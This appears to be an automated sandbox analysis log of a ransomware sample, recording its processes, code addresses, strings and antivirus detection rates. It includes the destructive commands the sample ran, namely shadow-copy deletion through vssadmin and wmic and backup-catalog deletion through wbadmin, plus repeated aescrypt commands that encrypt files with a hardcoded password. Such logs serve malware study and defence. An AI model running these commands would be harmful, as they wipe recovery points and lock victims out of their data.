Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior

Source: aescrypt.exe

Process created: 136

System Summary:

Source: C:\Windows\System32\cmd.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\System32\wbadmin.exe

File created: C:\Windows\Logs\WindowsBackup

Jump to behavior

Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_0040E800	0_2_0040E800
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_0040C838	0_2_0040C838
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_0040F1CA	0_2_0040F1CA
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_004105F0	0_2_004105F0
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_00411250	0_2_00411250
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_00410673	0_2_00410673
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_004102D0	0_2_004102D0
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_0040B2E7	0_2_0040B2E7
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_004102F0	0_2_004102F0
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_004106B9	0_2_004106B9
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_008753B0	9_2_008753B0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_00878680	9_2_00878680
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_00871093	9_2_00871093
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_00875E90	9_2_00875E90
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_008724A0	9_2_008724A0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_00871000	9_2_00871000
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_00871210	9_2_00871210
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_00874678	9_2_00874678
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_008715B0	9_2_008715B0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_008743C0	9_2_008743C0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_008733E0	9_2_008733E0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_008753B0	11_2_008753B0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_008733E0	11_2_008733E0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_00878680	11_2_00878680
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_00871093	11_2_00871093
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_00875E90	11_2_00875E90
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_008724A0	11_2_008724A0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_00871000	11_2_00871000
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_00871210	11_2_00871210
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_00874678	11_2_00874678
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_008715B0	11_2_008715B0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_008743C0	11_2_008743C0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe B68FC901D758BA9EA3A5A616ABD34D1662197AA31B502F27CBF2579A947E53E9

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: String function: 0087C4C0 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: String function: 00878DA3 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: String function: 0087D799 appears 36 times

Source: hztxqReczN.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: aescrypt.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: hztxqReczN.exe, 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSetup.exeX vs hztxqReczN.exe
Source: hztxqReczN.exe, 00000000.00000002.460622210.00000000022E0000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs hztxqReczN.exe
Source: hztxqReczN.exe, 00000000.00000002.460596921.00000000022A0000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs hztxqReczN.exe
Source: hztxqReczN.exe, 00000000.00000002.460596921.00000000022A0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs hztxqReczN.exe
Source: hztxqReczN.exe	Binary or memory string: OriginalFilenameSetup.exeX vs hztxqReczN.exe

Source: hztxqReczN.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: hztxqReczN.exe, 00000000.00000002.460830203.0000000002375000.00000004.00000001.sdmp, ADC2.bat.0.dr	Binary or memory string: FOR /R "%homedrive%\" %%X in (*.sln) DO (
Source: hztxqReczN.exe, 00000000.00000002.460830203.0000000002375000.00000004.00000001.sdmp, ADC2.bat.0.dr	Binary or memory string: FOR /R "%homedrive%\" %%X in (*.vbp) DO (

Source: classification engine

Classification label: mal88.rans.spyw.evad.winEXE@1083/34@0/0

Source: C:\Users\user\Desktop\hztxqReczN.exe

Code function: 0_2_004026B8 LoadResource,SizeofResource,FreeResource,

0_2_004026B8

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\inf.bmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6704:120:WilError_01

Source: C:\Users\user\Desktop\hztxqReczN.exe

File created: C:\Users\user\AppData\Local\Temp\ADC0.tmp

Jump to behavior

Source: C:\Users\user\Desktop\hztxqReczN.exe

Process created: C:\Windows\System32\cmd.exe 'C:\Windows\sysnative\cmd.exe' /c 'C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.bat C:\Users\user\Desktop\hztxqReczN.exe'

Source: C:\Users\user\Desktop\hztxqReczN.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\hztxqReczN.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hztxqReczN.exe	Virustotal: Detection: 72%
Source: hztxqReczN.exe	Metadefender: Detection: 30%
Source: hztxqReczN.exe	ReversingLabs: Detection: 79%

Source: unknown	Process created: C:\Users\user\Desktop\hztxqReczN.exe 'C:\Users\user\Desktop\hztxqReczN.exe'
Source: C:\Users\user\Desktop\hztxqReczN.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\sysnative\cmd.exe' /c 'C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.bat C:\Users\user\Desktop\hztxqReczN.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic.exe shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'
